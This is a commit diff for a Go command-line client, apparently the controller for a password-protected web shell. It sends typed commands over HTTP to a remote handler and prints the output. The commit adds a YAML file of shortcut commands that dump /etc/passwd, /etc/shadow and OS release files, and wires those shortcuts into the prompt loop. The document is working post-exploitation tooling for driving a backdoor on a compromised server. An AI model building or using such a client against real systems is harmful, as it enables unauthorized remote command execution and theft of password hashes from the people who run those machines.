Skip to content

Commit 13c23c1

Browse files
committed
Multiple improvements
1 parent 8c7457e commit 13c23c1

File tree

4 files changed

+43
-12
lines changed

4 files changed

+43
-12
lines changed

custom_commands.yaml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
":passwd\n": "cat /etc/passwd"
2+
":shadow\n": "cat /etc/shadow"
3+
":release\n": "cat /etc/*-release"

go.mod

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
module ninja
2+
3+
go 1.20
4+
5+
require gopkg.in/yaml.v3 v3.0.1 // indirect

go.sum

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
2+
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
3+
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

main.go

Lines changed: 32 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,29 +6,30 @@ import (
66
"encoding/base64"
77
"flag"
88
"fmt"
9-
"io/ioutil"
9+
"io"
1010
"log"
1111
"math/rand"
1212
"net/http"
1313
"net/url"
1414
"os"
1515
"strings"
1616
"text/template"
17-
"time"
17+
18+
"gopkg.in/yaml.v3"
1819
)
1920

21+
type CustomCommands map[string]string
22+
2023
type Rand struct {
2124
RandVar string
2225
RandPass string
2326
}
2427

2528
func RandString(n int) string {
26-
rand.Seed(time.Now().UnixNano())
2729
const alphanum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
2830
var bytes = make([]byte, n)
29-
rand.Read(bytes)
30-
for i, b := range bytes {
31-
bytes[i] = alphanum[b%byte(len(alphanum))]
31+
for i := range bytes {
32+
bytes[i] = alphanum[rand.Intn(len(alphanum))]
3233
}
3334
return string(bytes)
3435
}
@@ -68,7 +69,7 @@ func Requester(url string, cmd string, password string) string {
6869
}
6970
defer resp.Body.Close()
7071

71-
bodyText, err := ioutil.ReadAll(resp.Body)
72+
bodyText, err := io.ReadAll(resp.Body)
7273
if err != nil {
7374
log.Fatal(err)
7475
}
@@ -78,14 +79,27 @@ func Requester(url string, cmd string, password string) string {
7879
return string(bodyText)
7980
}
8081

81-
func checkCustom(cmd string) string {
82+
func readCustomCommands(filename string) (CustomCommands, error) {
83+
var commands CustomCommands
84+
yamlFile, err := os.ReadFile(filename)
85+
if err != nil {
86+
return nil, err
87+
}
88+
err = yaml.Unmarshal(yamlFile, &commands)
89+
if err != nil {
90+
return nil, err
91+
}
92+
return commands, nil
93+
}
94+
95+
func checkCustom(cmd string, customCommands CustomCommands) string {
8296
if cmd == ":\n" || cmd == ":exit\n" {
8397
os.Exit(0)
8498
} else if cmd == ":cls\n" || cmd == ":clear\n" {
8599
fmt.Printf("\x1bc")
86-
cmd = ""
87-
} else if cmd == ":passwd\n" {
88-
cmd = "cat /etc/passwd"
100+
return ""
101+
} else if custom, ok := customCommands[cmd]; ok {
102+
return custom
89103
}
90104
return cmd
91105
}
@@ -97,6 +111,12 @@ func main() {
97111
raw := flag.Bool("raw", false, "a boolean")
98112
flag.Parse()
99113

114+
customCommands, err := readCustomCommands("custom_commands.yaml")
115+
if err != nil {
116+
fmt.Println("Error loading custom commands:", err)
117+
os.Exit(1)
118+
}
119+
100120
if *handler != "" {
101121
var password string
102122
fmt.Printf("🔑 Password > ")
@@ -106,7 +126,7 @@ func main() {
106126
fmt.Printf("🥷 > ")
107127
in := bufio.NewReader(os.Stdin)
108128
cmd, _ := in.ReadString('\n')
109-
cmd = checkCustom(cmd)
129+
cmd = checkCustom(cmd, customCommands)
110130
if cmd != "" {
111131
resp := Requester(*handler, cmd, password)
112132
println(resp)

0 commit comments

Comments
 (0)